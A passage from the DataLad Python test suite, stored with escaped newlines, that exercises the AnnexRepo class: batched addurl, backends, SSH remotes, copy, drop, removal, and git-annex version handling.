fname).resolve(),\\n (annex.pathobj / key_location).resolve())\\n\\n # test how it would look if done under a subdir of the annex:\\n with chpwd(opj(annex.path, 'subdir'), mkdir=True):\\n key_location = annex.get_contentlocation(key, batch=batch)\\n # they both should point to the same location eventually\\n eq_((annex.pathobj / fname).resolve(),\\n (annex.pathobj / key_location).resolve())\\n\\n # test how it would look if done under a dir outside of the annex:\\n with chpwd(work_dir_outside, mkdir=True):\\n key_location = annex.get_contentlocation(key, batch=batch)\\n # they both should point to the same location eventually\\n eq_((annex.pathobj / fname).resolve(),\\n (annex.pathobj / key_location).resolve())\\n\\n\\n@known_failure_windows\\n@with_tree(tree=(('about.txt', 'Lots of abouts'),\\n ('about2.txt', 'more abouts'),\\n ('about2_.txt', 'more abouts_'),\\n ('d', {'sub.txt': 'more stuff'})))\\n@serve_path_via_http()\\n@with_tempfile\\ndef test_AnnexRepo_addurl_to_file_batched(sitepath=None, siteurl=None, dst=None):\\n\\n if dl_cfg.get('datalad.fake-dates'):\\n raise SkipTest(\\n \\\"Faked dates are enabled; skipping batched addurl tests\\\")\\n\\n ar = AnnexRepo(dst, create=True)\\n testurl = urljoin(siteurl, 'about.txt')\\n testurl2 = urljoin(siteurl, 'about2.txt')\\n testurl2_ = urljoin(siteurl, 'about2_.txt')\\n testurl3 = urljoin(siteurl, 'd/sub.txt')\\n url_file_prefix = urlsplit(testurl).netloc.split(':')[0]\\n testfile = 'about.txt'\\n testfile2 = 'about2.txt'\\n testfile2_ = 'about2_.txt'\\n testfile3 = opj('d', 'sub.txt')\\n\\n # add to an existing but not committed file\\n # TODO: __call__ of the BatchedAnnex must be checked to be called\\n copyfile(opj(sitepath, 'about.txt'), opj(dst, testfile))\\n # must crash sensibly since file exists, we shouldn't addurl to non-annexed files\\n with assert_raises(AnnexBatchCommandError):\\n ar.add_url_to_file(testfile, testurl, batch=True)\\n\\n # Remove it and re-add\\n unlink(opj(dst, testfile))\\n ar.add_url_to_file(testfile, testurl, batch=True)\\n\\n info = ar.info(testfile)\\n eq_(info['size'], 14)\\n assert(info['key'])\\n # not even added to index yet since we this repo is with default batch_size\\n assert_not_in(WEB_SPECIAL_REMOTE_UUID, ar.whereis(testfile))\\n\\n # TODO: none of the below should re-initiate the batch process\\n\\n # add to an existing and staged annex file\\n copyfile(opj(sitepath, 'about2.txt'), opj(dst, testfile2))\\n ar.add(testfile2)\\n ar.add_url_to_file(testfile2, testurl2, batch=True)\\n assert(ar.info(testfile2))\\n # not committed yet\\n # assert_in(WEB_SPECIAL_REMOTE_UUID, ar.whereis(testfile2))\\n\\n # add to an existing and committed annex file\\n copyfile(opj(sitepath, 'about2_.txt'), opj(dst, testfile2_))\\n ar.add(testfile2_)\\n if ar.is_direct_mode():\\n assert_in(WEB_SPECIAL_REMOTE_UUID, ar.whereis(testfile))\\n else:\\n assert_not_in(WEB_SPECIAL_REMOTE_UUID, ar.whereis(testfile))\\n ar.commit(\\\"added about2_.txt and there was about2.txt lingering around\\\")\\n # commit causes closing all batched annexes, so testfile gets committed\\n assert_in(WEB_SPECIAL_REMOTE_UUID, ar.whereis(testfile))\\n assert(not ar.dirty)\\n ar.add_url_to_file(testfile2_, testurl2_, batch=True)\\n assert(ar.info(testfile2_))\\n assert_in(WEB_SPECIAL_REMOTE_UUID, ar.whereis(testfile2_))\\n\\n # add into a new file\\n # filename = 'newfile.dat'\\n filename = get_most_obscure_supported_name()\\n\\n # Note: The following line was necessary, since the test setup just\\n # doesn't work with singletons\\n # TODO: Singleton mechanic needs a general solution for this\\n AnnexRepo._unique_instances.clear()\\n ar2 = AnnexRepo(dst, batch_size=1)\\n\\n with swallow_outputs():\\n eq_(len(ar2._batched), 0)\\n ar2.add_url_to_file(filename, testurl, batch=True)\\n eq_(len(ar2._batched), 1) # we added one more with batch_size=1\\n ar2.precommit() # to possibly stop batch process occupying the stdout\\n ar2.commit(\\\"added new file\\\") # would do nothing ATM, but also doesn't fail\\n assert_in(filename, ar2.get_files())\\n assert_in(WEB_SPECIAL_REMOTE_UUID, ar2.whereis(filename))\\n\\n ar.commit(\\\"actually committing new files\\\")\\n assert_in(filename, ar.get_files())\\n assert_in(WEB_SPECIAL_REMOTE_UUID, ar.whereis(filename))\\n # this poor bugger still wasn't added since we used default batch_size=0 on him\\n\\n # and closing the pipes now shouldn't anyhow affect things\\n eq_(len(ar._batched), 1)\\n ar._batched.close()\\n eq_(len(ar._batched), 1) # doesn't remove them, just closes\\n assert(not ar.dirty)\\n\\n ar._batched.clear()\\n eq_(len(ar._batched), 0) # .clear also removes\\n\\n raise SkipTest(\\\"TODO: more, e.g. add with a custom backend\\\")\\n # TODO: also with different modes (relaxed, fast)\\n # TODO: verify that file is added with that backend and that we got a new batched process\\n\\n\\n@with_tree(tree={\\\"foo\\\": \\\"foo content\\\"})\\n@serve_path_via_http()\\n@with_tree(tree={\\\"bar\\\": \\\"bar content\\\"})\\ndef test_annexrepo_fake_dates_disables_batched(sitepath=None, siteurl=None, dst=None):\\n ar = AnnexRepo(dst, create=True, fake_dates=True)\\n\\n with swallow_logs(new_level=logging.DEBUG) as cml:\\n ar.add_url_to_file(\\\"foo-dst\\\", urljoin(siteurl, \\\"foo\\\"), batch=True)\\n cml.assert_logged(\\n msg=\\\"Not batching addurl call because fake dates are enabled\\\",\\n level=\\\"DEBUG\\\",\\n regex=False)\\n\\n ar.add(\\\"bar\\\")\\n ar.commit(\\\"add bar\\\")\\n key = ar.get_content_annexinfo([\\\"bar\\\"]).popitem()[1]['key']\\n\\n with swallow_logs(new_level=logging.DEBUG) as cml:\\n ar.drop_key(key, batch=True)\\n cml.assert_logged(\\n msg=\\\"Not batching drop_key call because fake dates are enabled\\\",\\n level=\\\"DEBUG\\\",\\n regex=False)\\n\\n\\n@with_tempfile(mkdir=True)\\ndef test_annex_backends(path=None):\\n path = Path(path)\\n repo_default = AnnexRepo(path / \\\"r_default\\\")\\n eq_(repo_default.default_backends, None)\\n\\n repo_kw = AnnexRepo(path / \\\"repo_kw\\\", backend='MD5E')\\n eq_(repo_kw.default_backends, ['MD5E'])\\n\\n # persists\\n repo_kw = AnnexRepo(path / \\\"repo_kw\\\")\\n eq_(repo_kw.default_backends, ['MD5E'])\\n\\n repo_config = AnnexRepo(path / \\\"repo_config\\\")\\n repo_config.config.set(\\\"annex.backend\\\", \\\"MD5E\\\", reload=True)\\n eq_(repo_config.default_backends, [\\\"MD5E\\\"])\\n\\n repo_compat = AnnexRepo(path / \\\"repo_compat\\\")\\n repo_compat.config.set(\\\"annex.backends\\\", \\\"MD5E WORM\\\", reload=True)\\n eq_(repo_compat.default_backends, [\\\"MD5E\\\", \\\"WORM\\\"])\\n\\n\\n# ignore deprecation warnings since here we should not use high level\\n# interface like push\\n@pytest.mark.filterwarnings(r\\\"ignore: AnnexRepo.copy_to\\\\(\\\\) is deprecated\\\")\\n@skip_nomultiplex_ssh # too much of \\\"multiplex\\\" testing\\n@with_tempfile(mkdir=True)\\ndef test_annex_ssh(topdir=None):\\n # On Xenial, this hangs with a recent git-annex. It bisects to git-annex's\\n # 7.20191230-142-g75059c9f3. This is likely due to an interaction with an\\n # older openssh version. See\\n # https://git-annex.branchable.com/bugs/SSH-based_git-annex-init_hang_on_older_systems___40__Xenial__44___Jessie__41__/\\n if external_versions['cmd:system-ssh'] < '7.4' and \\\\\\n external_versions['cmd:annex'] <= '8.20200720.1':\\n raise SkipTest(\\\"Test known to hang\\\")\\n\\n topdir = Path(topdir)\\n rm1 = AnnexRepo(topdir / \\\"remote1\\\", create=True)\\n rm2 = AnnexRepo.clone(rm1.path, str(topdir / \\\"remote2\\\"))\\n rm2.remove_remote(DEFAULT_REMOTE)\\n\\n main_tmp = AnnexRepo.clone(rm1.path, str(topdir / \\\"main\\\"))\\n main_tmp.remove_remote(DEFAULT_REMOTE)\\n repo_path = main_tmp.path\\n del main_tmp\\n remote_1_path = rm1.path\\n remote_2_path = rm2.path\\n\\n from datalad import ssh_manager\\n\\n # check whether we are the first to use these sockets:\\n hash_1 = get_connection_hash('datalad-test')\\n socket_1 = opj(str(ssh_manager.socket_dir), hash_1)\\n hash_2 = get_connection_hash('datalad-test2')\\n socket_2 = opj(str(ssh_manager.socket_dir), hash_2)\\n datalad_test_was_open = exists(socket_1)\\n datalad_test2_was_open = exists(socket_2)\\n\\n # repo to test:AnnexRepo(repo_path)\\n # At first, directly use git to add the remote, which should be recognized\\n # by AnnexRepo's constructor\\n gr = GitRepo(repo_path, create=True)\\n gr.add_remote(\\\"ssh-remote-1\\\", \\\"ssh://datalad-test\\\" + remote_1_path)\\n\\n ar = AnnexRepo(repo_path, create=False)\\n\\n # socket was not touched:\\n if datalad_test_was_open:\\n ok_(exists(socket_1))\\n else:\\n ok_(not exists(socket_1))\\n\\n # remote interaction causes socket to be created:\\n (ar.pathobj / \\\"foo\\\").write_text(\\\"foo\\\")\\n (ar.pathobj / \\\"bar\\\").write_text(\\\"bar\\\")\\n ar.add(\\\"foo\\\")\\n ar.add(\\\"bar\\\")\\n ar.commit(\\\"add files\\\")\\n\\n ar.copy_to([\\\"foo\\\"], remote=\\\"ssh-remote-1\\\")\\n # copy_to() opens it if needed.\\n #\\n # Note: This isn't racy because datalad-sshrun should not close this itself\\n # because the connection was either already open before this test or\\n # copy_to(), not the underlying git-annex/datalad-sshrun call, opens it.\\n ok_(exists(socket_1))\\n\\n # add another remote:\\n ar.add_remote('ssh-remote-2', \\\"ssh://datalad-test2\\\" + remote_2_path)\\n\\n # socket was not touched:\\n if datalad_test2_was_open:\\n # FIXME: occasionally(?) fails in V6:\\n # ok_(exists(socket_2))\\n pass\\n else:\\n ok_(not exists(socket_2))\\n\\n # copy to the new remote:\\n #\\n # Same racy note as the copy_to() call above.\\n ar.copy_to([\\\"foo\\\"], remote=\\\"ssh-remote-2\\\")\\n\\n if not exists(socket_2): # pragma: no cover\\n # @known_failure (marked for grep)\\n raise SkipTest(\\\"test_annex_ssh hit known failure (gh-4781)\\\")\\n\\n # Check that git-annex is actually using datalad-sshrun.\\n fail_cmd = quote_cmdlinearg(sys.executable) + \\\"-c 'assert 0'\\\"\\n with patch.dict('os.environ', {'GIT_SSH_COMMAND': fail_cmd}):\\n with assert_raises(CommandError):\\n ar.copy_to([\\\"bar\\\"], remote=\\\"ssh-remote-2\\\")\\n ar.copy_to([\\\"bar\\\"], remote=\\\"ssh-remote-2\\\")\\n\\n ssh_manager.close(ctrl_path=[socket_1, socket_2])\\n\\n\\n@with_tempfile\\ndef test_annex_remove(path=None):\\n ar = AnnexRepo(path)\\n (ar.pathobj / 'test-annex.dat').write_text(\\n \\\"content to be annex-addurl'd\\\")\\n ar.save('some')\\n\\n repo = AnnexRepo(path, create=False)\\n\\n file_list = list(repo.get_content_annexinfo(init=None))\\n assert len(file_list) >= 1\\n # remove a single file\\n out = repo.remove(str(file_list[0]))\\n assert_not_in(file_list[0], repo.get_content_annexinfo(init=None))\\n eq_(out[0], str(file_list[0].relative_to(repo.pathobj)))\\n\\n with open(opj(repo.path, \\\"rm-test.dat\\\"), \\\"w\\\") as f:\\n f.write(\\\"whatever\\\")\\n\\n # add it\\n repo.add(\\\"rm-test.dat\\\")\\n\\n # remove without '--force' should fail, due to staged changes:\\n assert_raises(CommandError, repo.remove, \\\"rm-test.dat\\\")\\n assert_in(\\\"rm-test.dat\\\", repo.get_annexed_files())\\n\\n # now force:\\n out = repo.remove(\\\"rm-test.dat\\\", force=True)\\n assert_not_in(\\\"rm-test.dat\\\", repo.get_annexed_files())\\n eq_(out[0], \\\"rm-test.dat\\\")\\n\\n\\n@with_tempfile\\n@with_tempfile\\n@with_tempfile\\ndef test_repo_version_upgrade(path1=None, path2=None, path3=None):\\n with swallow_logs(new_level=logging.INFO) as cm:\\n # Since git-annex 7.20181031, v6 repos upgrade to v7.\\n # Future proofing: We will test on v6 as long as it is upgradeable,\\n # but would switch to first upgradeable after\\n Uversion = 6 if 6 in _GIT_ANNEX_VERSIONS_INFO[\\\"upgradable\\\"] \\\\\\n else _GIT_ANNEX_VERSIONS_INFO[\\\"upgradeable\\\"][0]\\n v_first_supported = next(i for i in _GIT_ANNEX_VERSIONS_INFO[\\\"supported\\\"] if i >= Uversion)\\n annex = AnnexRepo(path1, create=True, version=Uversion)\\n assert_repo_status(path1, annex=True)\\n v_upgraded_to = int(annex.config.get('annex.version'))\\n\\n if external_versions['cmd:annex'] <= '10.20220724':\\n eq_(v_upgraded_to, v_first_supported)\\n assert_in(\\\"will be upgraded to 8\\\", cm.out)\\n else:\\n # 10.20220724-5-g63cef2ae0 started to auto-upgrade to 10, although 8 was the\\n # lowest supported. In general we can only assert that we upgrade into one\\n # of the supported\\n assert_in(v_upgraded_to, _GIT_ANNEX_VERSIONS_INFO[\\\"supported\\\"])\\n assert_in(\\\"will be upgraded to %s or later version\\\" % v_first_supported, cm.out)\\n\\n # default from config item (via env var):\\n with patch.dict('os.environ', {'DATALAD_REPO_VERSION': str(Uversion)}):\\n # and check consistency of upgrading to the default version:\\n annex = AnnexRepo(path2, create=True)\\n version = int(annex.config.get('annex.version'))\\n eq_(version, v_upgraded_to)\\n\\n\\n@pytest.mark.parametrize(\\\"version\\\", _GIT_ANNEX_VERSIONS_INFO[\\\"supported\\\"])\\ndef test_repo_version_supported(version, tmp_path):\\n # default from config item (via env var):\\n Uversion = _GIT_ANNEX_VERSIONS_INFO[\\\"upgradable\\\"][0]\\n with patch.dict('os.environ', {'DATALAD_REPO_VERSION': str(Uversion)}):\\n # ...parameter `version` still has priority over default config:\\n annex = AnnexRepo(str(tmp_path), create=True, version=version)\\n annex_version = int(annex.config.get('annex.version'))\\n if not annex.is_managed_branch():\\n # There is no \\\"upgrade\\\" for any of the supported versions.\\n # if we are not in adjusted branch\\n eq_(annex_version, version)\\n else:\\n print(\\\"HERE\\\")\\n # some annex command might have ran to trigger the update\\n assert annex_version in {v for v in _GIT_ANNEX_VERSIONS_INFO[\\\"supported\\\"] if v >= version}\\n\\n\\n@skip_if(external_versions['cmd:annex'] > '8.20210428', \\\"Stopped showing if too quick\\\")\\n@with_tempfile\\ndef test_init_scanning_message(path=None):\\n with swallow_logs(new_level=logging.INFO) as cml:\\n AnnexRepo(path, create=True, version=7)\\n # somewhere around 8.20210428-186-g428c91606 git annex changed\\n # handling of scanning for unlocked files upon init and started to report\\n # \\\"scanning for annexed\\\" instead of \\\"scanning for unlocked\\\".\\n # Could be a line among many (as on Windows) so match=False so we search\\n assert_re_in(\\\".*scanning for .* files\\\", cml.out, flags=re.IGNORECASE, match=False)\\n\\n\\n# ignore deprecation warnings since that is the test testing that functionality\\n@pytest.mark.filterwarnings(r\\\"ignore: AnnexRepo.copy_to\\\\(\\\\) is deprecated\\\")\\n@with_tempfile\\n@with_tempfile\\n@with_tempfile\\ndef test_annex_copy_to(src=None, origin=None, clone=None):\\n ar = AnnexRepo(src)\\n (ar.pathobj / 'test.dat').write_text(\\\"123\\\\n\\\")\\n ar.save('some', git=True)\\n (ar.pathobj / 'test-annex.dat').write_text(\\\"content\\\")\\n ar.save('some')\\n\\n repo = AnnexRepo.clone(src, origin)\\n remote = AnnexRepo.clone(origin, clone)\\n repo.add_remote(\\\"target\\\", clone)\\n\\n assert_raises(IOError, repo.copy_to, \\\"doesnt_exist.dat\\\", \\\"target\\\")\\n assert_raises(FileInGitError, repo.copy_to, \\\"test.dat\\\", \\\"target\\\")\\n assert_raises(ValueError, repo.copy_to, \\\"test-annex.dat\\\", \\\"invalid_target\\\")\\n\\n # see #3102\\n # \\\"copying\\\" a dir shouldn't do anything and not raise.\\n os.mkdir(opj(repo.path, \\\"subdir\\\"))\\n repo.copy_to(\\\"subdir\\\", \\\"target\\\")\\n\\n # test-annex.dat has no content to copy yet:\\n eq_(repo.copy_to(\\\"test-annex.dat\\\", \\\"target\\\"), [])\\n\\n repo.get(\\\"test-annex.dat\\\")\\n # now it has:\\n eq_(repo.copy_to(\\\"test-annex.dat\\\", \\\"target\\\"), [\\\"test-annex.dat\\\"])\\n # and will not be copied again since it was already copied\\n eq_(repo.copy_to([\\\"test.dat\\\", \\\"test-annex.dat\\\"], \\\"target\\\"), [])\\n\\n # Test that if we pass a list of items and annex processes them nicely,\\n # we would obtain a list back. To not stress our tests even more -- let's mock\\n def ok_copy(command, **kwargs):\\n # Check that we do pass to annex call only the list of files which we\\n # asked to be copied\\n assert_in('copied1', kwargs['files'])\\n assert_in('copied2', kwargs['files'])\\n assert_in('existed', kwargs['files'])\\n return [\\n {\\\"command\\\":\\\"copy\\\",\\\"note\\\":\\\"to target ...\\\", \\\"success\\\":True,\\n \\\"key\\\":\\\"akey1\\\", \\\"file\\\":\\\"copied1\\\"},\\n {\\\"command\\\":\\\"copy\\\",\\\"note\\\":\\\"to target ...\\\", \\\"success\\\":True,\\n \\\"key\\\":\\\"akey2\\\", \\\"file\\\":\\\"copied2\\\"},\\n {\\\"command\\\":\\\"copy\\\",\\\"note\\\":\\\"checking target ...\\\", \\\"success\\\":True,\\n \\\"key\\\":\\\"akey3\\\", \\\"file\\\":\\\"existed\\\"},\\n ]\\n # Note that we patch _call_annex_records,\\n # which is in turn invoked first by copy_to for \\\"find\\\" operation.\\n # TODO: provide a dedicated handling within above ok_copy for 'find' command\\n with patch.object(repo, '_call_annex_records', ok_copy):\\n eq_(repo.copy_to([\\\"copied2\\\", \\\"copied1\\\", \\\"existed\\\"], \\\"target\\\"),\\n [\\\"copied1\\\", \\\"copied2\\\"])\\n\\n # now let's test that we are correctly raising the exception in case if\\n # git-annex execution fails\\n orig_run = repo._call_annex\\n\\n # Kinda a bit off the reality since no nonex* would not be returned/handled\\n # by _get_expected_files, so in real life -- wouldn't get report about Incomplete!?\\n def fail_to_copy(command, **kwargs):\\n if command[0] == 'copy':\\n # That is not how annex behaves\\n # http://git-annex.branchable.com/bugs/copy_does_not_reflect_some_failed_copies_in_--json_output/\\n # for non-existing files output goes into stderr\\n #\\n # stderr output depends on config+version of annex, though:\\n if not dl_cfg.getbool(\\n section=\\\"annex\\\", option=\\\"skipunknown\\\",\\n # git-annex switched default for this config:\\n default=bool(\\n external_versions['cmd:annex'] < '10.20220222')):\\n\\n stderr = \\\"error: pathspec 'nonex1' did not match any file(s) \\\" \\\\\\n \\\"known to git\\\\n\\\" \\\\\\n \\\"error: pathspec 'nonex2' did not match any file(s) \\\" \\\\\\n \\\"known to git\\\\n\\\"\\n else:\\n stderr = \\\"git-annex: nonex1 not found\\\\n\\\" \\\\\\n \\\"git-annex: nonex2 not found\\\\n\\\"\\n\\n raise CommandError(\\n \\\"Failed to run ...\\\",\\n stdout_json=[\\n {\\\"command\\\":\\\"copy\\\",\\\"note\\\":\\\"to target ...\\\", \\\"success\\\":True,\\n \\\"key\\\":\\\"akey1\\\", \\\"file\\\":\\\"copied\\\"},\\n {\\\"command\\\":\\\"copy\\\",\\\"note\\\":\\\"checking target ...\\\",\\n \\\"success\\\":True, \\\"key\\\":\\\"akey2\\\", \\\"file\\\":\\\"existed\\\"},\\n ],\\n stderr=stderr\\n )\\n else:\\n return orig_run(command, **kwargs)\\n\\n def fail_to_copy_get_expected(files, expr):\\n assert files == [\\\"copied\\\", \\\"existed\\\", \\\"nonex1\\\", \\\"nonex2\\\"]\\n return {'akey1': 10}, [\\\"copied\\\"]\\n\\n with patch.object(repo, '_call_annex', fail_to_copy), \\\\\\n patch.object(repo, '_get_expected_files', fail_to_copy_get_expected):\\n with assert_raises(IncompleteResultsError) as cme:\\n repo.copy_to([\\\"copied\\\", \\\"existed\\\", \\\"nonex1\\\", \\\"nonex2\\\"], \\\"target\\\")\\n eq_(cme.value.results, [\\\"copied\\\"])\\n eq_(cme.value.failed, ['nonex1', 'nonex2'])\\n\\n\\n@with_tempfile\\n@with_tempfile\\ndef test_annex_drop(src=None, dst=None):\\n ar = AnnexRepo(src)\\n (ar.pathobj / 'test-annex.dat').write_text(\\\"content\\\")\\n ar.save('some')\\n\\n ar = AnnexRepo.clone(src, dst)\\n testfile = 'test-annex.dat'\\n assert_false(ar.file_has_content(testfile))\\n ar.get(testfile)\\n ok_(ar.file_has_content(testfile))\\n eq_(len([f for f in ar.fsck(fast=True) if f['file'] == testfile]), 1)\\n\\n # drop file by name:\\n result = ar.drop([testfile])\\n assert_false(ar.file_has_content(testfile))\\n ok_(isinstance(result, list))\\n eq_(len(result), 1)\\n eq_(result[0]['command'], 'drop')\\n eq_(result[0]['success'], True)\\n eq_(result[0]['file'], testfile)\\n\\n ar.get(testfile)\\n\\n # drop file by key:\\n testkey = ar.get_file_annexinfo(testfile)['key']\\n result = ar.drop([testkey], key=True)\\n assert_false(ar.file_has_content(testfile))\\n ok_(isinstance(result, list))\\n eq_(len(result), 1)\\n eq_(result[0]['command'], 'drop')\\n eq_(result[0]['success'], True)\\n eq_(result[0]['key'], testkey)\\n\\n # insufficient arguments:\\n assert_raises(TypeError, ar.drop)\\n assert_raises(InsufficientArgumentsError, ar.drop, [], options=[\\\"--jobs=5\\\"])\\n assert_raises(InsufficientArgumentsError, ar.drop, [])\\n\\n # too much arguments:\\n assert_raises(CommandError, ar.drop, ['.'], options=['--all'])\\n\\n (ar.pathobj / 'somefile.txt').write_text('this')\\n ar.save()\\n with assert_raises(CommandError) as e:\\n ar.drop('somefile.txt')\\n # CommandError has to pull the errors from the JSON record 'note'\\n assert_in('necessary cop', str(e.value))\\n\\n with assert_raises(CommandError) as e:\\n ar._call_annex_records(['fsck', '-N', '3'])\\n # CommandError has to pull the errors from the JSON record 'error-messages'\\n assert_in('1 of 3 trustworthy copies', str(e.value))\\n\\n\\n@with_tree({\\\"a.txt\\\": \\\"a\\\", \\\"b.txt\\\": \\\"b\\\", \\\"c.py\\\": \\\"c\\\", \\\"d\\\": \\\"d\\\"})\\ndef test_annex_get_annexed_files(path=None):\\n repo = AnnexRepo(path)\\n repo.add(\\\".\\\")\\n repo.commit()\\n eq_(set(repo.get_annexed_files()), {\\\"a.txt\\\", \\\"b.txt\\\", \\\"c.py\\\", \\\"d\\\"})\\n\\n repo.drop(\\\"a.txt\\\", options=[\\\"--force\\\"])\\n eq_(set(repo.get_annexed_files()), {\\\"a.txt\\\", \\\"b.txt\\\", \\\"c.py\\\", \\\"d\\\"})\\n eq_(set(repo.get_annexed_files(with_content_only=True)),\\n {\\\"b.txt\\\", \\\"c.py\\\", \\\"d\\\"})\\n\\n eq_(set(repo.get_annexed_files(patterns=[\\\"*.txt\\\"])),\\n {\\\"a.txt\\\", \\\"b.txt\\\"})\\n eq_(set(repo.get_annexed_files(with_content_only=True,\\n patterns=[\\\"*.txt\\\"])),\\n {\\\"b.txt\\\"})\\n\\n eq_(set(repo.get_annexed_files(patterns=[\\\"*.txt\\\", \\\"*.py\\\"])),\\n {\\\"a.txt\\\", \\\"b.txt\\\", \\\"c.py\\\"})\\n\\n eq_(set(repo.get_annexed_files()),\\n set(repo.get_annexed_files(patterns=[\\\"*\\\"])))\\n\\n eq_(set(repo.get_annexed_files(with_content_only=True)),\\n set(repo.get_annexed_files(with_content_only=True, patterns=[\\\"*\\\"])))\\n\\n\\n@pytest.mark.parametrize(\\\"batch\\\", [True, False])\\n@with_tree(tree={\\\"test-annex.dat\\\": \\\"content\\\"})\\n@serve_path_via_http()\\n@with_tempfile()\\n@with_tempfile()\\ndef test_is_available(_=None, content_url=None, origpath=None, path=None, *,\\n batch):\\n\\n fname = \\\"test-annex.dat\\\"\\n content_url += \\\"/\\\" + fname\\n origds = Dataset(origpath).create()\\n origds.repo.add_url_to_file(fname, content_url)\\n origds.save()\\n origds.drop(fname)\\n annex = clone(origpath, path).repo\\n\\n # bkw = {'batch': batch}\\n if batch:\\n is_available = partial(annex.is_available, batch=batch)\\n else:\\n is_available = annex.is_available\\n\\n key = annex.get_content_annexinfo([fname]).popitem()[1]['key']\\n\\n # explicit is to verify data type etc\\n assert is_available(key, key=True) is True\\n assert is_available(fname) is True\\n\\n # known remote but doesn't have it\\n assert is_available(fname, remote=DEFAULT_REMOTE) is False\\n\\n # If the 'datalad' special remote is present, it will claim fname's URL.\\n if DATALAD_SPECIAL_REMOTE in annex.get_remotes():\\n remote = DATALAD_SPECIAL_REMOTE\\n uuid = DATALAD_SPECIAL_REMOTES_UUIDS[DATALAD_SPECIAL_REMOTE]\\n else:\\n remote = \\\"web\\\"\\n uuid = WEB_SPECIAL_REMOTE_UUID\\n\\n # it is on the 'web'\\n assert is_available(fname, remote=remote) is True\\n # not effective somehow :-/ may be the process already running or smth\\n # with swallow_logs(), swallow_outputs(): # it will complain!\\n assert is_available(fname, remote='unknown') is False\\n assert_false(is_available(\\\"boguskey\\\", key=True))\\n\\n # remove url\\n urls = annex.whereis(fname, output=\\\"full\\\").get(uuid, {}).get(\\\"urls\\\", [])\\n\\n assert(len(urls) == 1)\\n eq_(urls,\\n annex.whereis(key, key=True, output=\\\"full\\\")\\n .get(uuid, {}).get(\\\"urls\\\"))\\n annex.rm_url(fname, urls[0])\\n\\n assert is_available(key, key=True) is False\\n assert is_available(fname) is False\\n assert is_available(fname, remote=remote) is False\\n\\n\\n@with_tempfile(mkdir=True)\\ndef test_get_urls_none(path=None):\\n ar = AnnexRepo(path, create=True)\\n with open(opj(ar.path, \\\"afile\\\"), \\\"w\\\") as f:\\n f.write(\\\"content\\\")\\n eq_(ar.get_urls(\\\"afile\\\"), [])\\n\\n\\n@xfail_buggy_annex_info\\n@with_tempfile(mkdir=True)\\ndef test_annex_add_no_dotfiles(path=None):\\n ar = AnnexRepo(path, create=True)\\n print(ar.path)\\n assert_true(os.path.exists(ar.path))\\n assert_false(ar.dirty)\\n os.makedirs(opj(ar.path, '.datalad'))\\n # we don't care about empty directories\\n assert_false(ar.dirty)\\n with open(opj(ar.path, '.datalad', 'somefile'), 'w') as f:\\n f.write('some content')\\n # make sure the repo is considered dirty now\\n assert_true(ar.dirty) # TODO: has been more detailed assertion (untracked file)\\n # now add to git, and it should work\\n ar.add('.', git=True)\\n # all in index\\n assert_true(ar.dirty)\\n # TODO: has been more specific:\\n # assert_false(ar.repo.is_dirty(\\n # index=False, working_tree=True, untracked_files=True, submodules=True))\\n ar.commit(msg=\\\"some\\\")\\n # all committed\\n assert_false(ar.dirty)\\n # not known to annex\\n assert_false(ar.is_under_annex(opj(ar.path, '.datalad', 'somefile')))\\n\\n\\n@with_tempfile\\ndef test_annex_version_handling_at_min_version(path=None):\\n with set_annex_version(AnnexRepo.GIT_ANNEX_MIN_VERSION):\\n po = patch.object(AnnexRepo, '_check_git_annex_version',\\n side_effect=AnnexRepo._check_git_annex_version)\\n with po as cmpc:\\n eq_(AnnexRepo.git_annex_version, None)\\n ar1 = AnnexRepo(path, create=True)\\n assert(ar1)\\n eq_(AnnexRepo.git_annex_version, AnnexRepo.GIT_ANNEX_MIN_VERSION)\\n eq_(cmpc.call_count, 1)\\n # 2nd time must not be called\\n try:\\n # Note: Remove to cause creation of a new instance\\n rmtree(path)\\n except OSError:\\n pass\\n ar2 = AnnexRepo(path)\\n assert(ar2)\\n eq_(AnnexRepo.git_annex_version, AnnexRepo.GIT_ANNEX_MIN_VERSION)\\n eq_(cmpc.call_count, 1)\\n\\n\\n@with_tempfile\\ndef test_annex_version_handling_bad_git_annex(path=None):\\n with set_annex_version(None):\\n eq_(AnnexRepo.git_annex_version, None)\\n with assert_raises(MissingExternalDependency) as cme:\\n AnnexRepo(path)\\n linux_distribution_name = get_linux_distribution()[0]\\n if linux_distribution_name == 'debian':\\n assert_in(\\\"handbook.datalad.org\\\", str(cme.value))\\n eq_(AnnexRepo.git_annex_version, None)\\n\\n with set_annex_version('6.20160505'):\\n eq_(AnnexRepo.git_annex_version, None)\\n try:\\n # Note: Remove to cause creation of a new instance\\n rmtree(path)\\n except OSError:\\n pass\\n assert_raises(OutdatedExternalDependency, AnnexRepo, path)\\n # and we don't assign it\\n eq_(AnnexRepo.git_annex_version, None)\\n # so we could still fail\\n try:\\n # Note: Remove to cause creation of a new instance\\n rmtree(path)\\n except OSError:\\n pass\\n assert_raises(OutdatedExternalDependency, AnnexRepo, path)\\n\\n\\n@with_tempfile\\n@with_tempfile\\ndef test_get_description(path1=None, path2=None):\\n annex1 = AnnexRepo(path1, create=True)\\n # some content for git-annex branch\\n create_tree(path1, {'1.dat': 'content'})\\n annex1.add('1.dat', git=False)\\n annex1.commit(\\\"msg\\\")\\n annex1_description = annex1.get_description()\\n assert_not_equal(annex1_description, path1)\\n\\n annex2 = AnnexRepo(path2, create=True, description='custom 2')\\n eq_(annex2.get_description(), 'custom 2')\\n # not yet known\\n eq_(annex2.get_description(uuid=annex1.uuid), None)\\n\\n annex2.add_remote('annex1', path1)\\n annex2.fetch('annex1')\\n # it will match the remote name\\n eq_(annex2.get_description(uuid=annex1.uuid),\\n annex1_description + ' [annex1]')\\n # add a little probe file to make sure it stays untracked\\n create_tree(path1, {'probe': 'probe'})\\n assert_not_in('probe', annex2.get_indexed_files())\\n annex2.localsync('annex1')\\n assert_not_in('probe', annex2.get_indexed_files())\\n # but let's remove the remote\\n annex2.remove_remote('annex1')\\n eq_(annex2.get_description(uuid=annex1.uuid), annex1_description)\\n\\n\\n@with_tempfile(mkdir=True)\\n@with_tempfile(mkdir=True)\\ndef test_AnnexRepo_flyweight(path1=None, path2=None):\\n\\n import sys\\n\\n repo1 = AnnexRepo(path1, create=True)\\n assert_is_instance(repo1, AnnexRepo)\\n\\n # Due to issue 4862, we currently still require gc.collect() under unclear\\n # circumstances to get rid of an exception traceback when creating in an\\n # existing directory. That traceback references the respective function\\n # frames which in turn reference the repo instance (they are methods).\\n # Doesn't happen on all systems, though. Eventually we need to figure that\\n # out.\\n # However, still test for the refcount after gc.collect() to ensure we don't\\n # introduce new circular references and make the issue worse!\\n 